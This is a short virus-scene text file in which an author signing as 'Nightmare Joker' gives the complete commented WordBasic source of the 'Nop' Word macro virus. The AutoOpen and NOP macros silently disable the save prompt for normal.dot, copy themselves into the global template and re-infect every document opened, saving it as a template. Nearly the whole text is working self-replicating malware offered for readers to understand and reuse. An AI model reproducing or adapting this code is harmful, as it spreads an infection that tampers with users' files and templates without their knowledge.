[ WordMacro. Nop ]ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

þ VIRUSNAME:      Nop
þ SIZE:           234 Bytes (2 macros)
þ ORIGIN:         Germany
þ AUTHOR:         maybe T.S.? ;-))

Here is the source code of the word macro Nop virus.

Description ==> '....

Macroname: AutoOpen (will always activate if you open any file!)
~~~~~~~~~~~~~~~~~~~
'macro start.
Sub MAIN

'save all changes and the user see nothing.
ToolsOptionsSave .GlobalDotPrompt = 0

'm$ means: active file + macro "NOP"
m$ = FileName$() + ":NOP"

'Copy macro "NOP" to the file normal.dot with the new name "FileSaveAs".
MacroCopy m$, "Global:FileSaveAs"

'm$ means now: active file + macro "AutoOpen"
m$ = FileName$() + ":AutoOpen"

'Copy macro "AutoOpen" now to normal.dot with the new name "NOP".
MacroCopy m$, "Global:NOP"

'macro end.
End Sub

Macroname: NOP 
~~~~~~~~~~~~~~
'macro start.
Sub MAIN

'm$ means: active file + macro "AutoOpen"
m$ = FileName$() + ":AutoOpen"

'Copy now macro "NOP" from normal.dot to the active file
'with the new name "AutoOpen"
MacroCopy "Global:NOP", m$

'm$ means now: active file + macro "NOP"
m$ = FileName$() + ":NOP"

'Copy now macro "FileSaveAs" from normal.dot to the active file
'with the new name "NOP"
MacroCopy "Global:FileSaveAs", m$

'Save now the file as a template.
FileSaveAs .Name = FileName$(), .Format = 1
End Sub

OK, I hope you understand this very easy macro virus.

-Nightmare Joker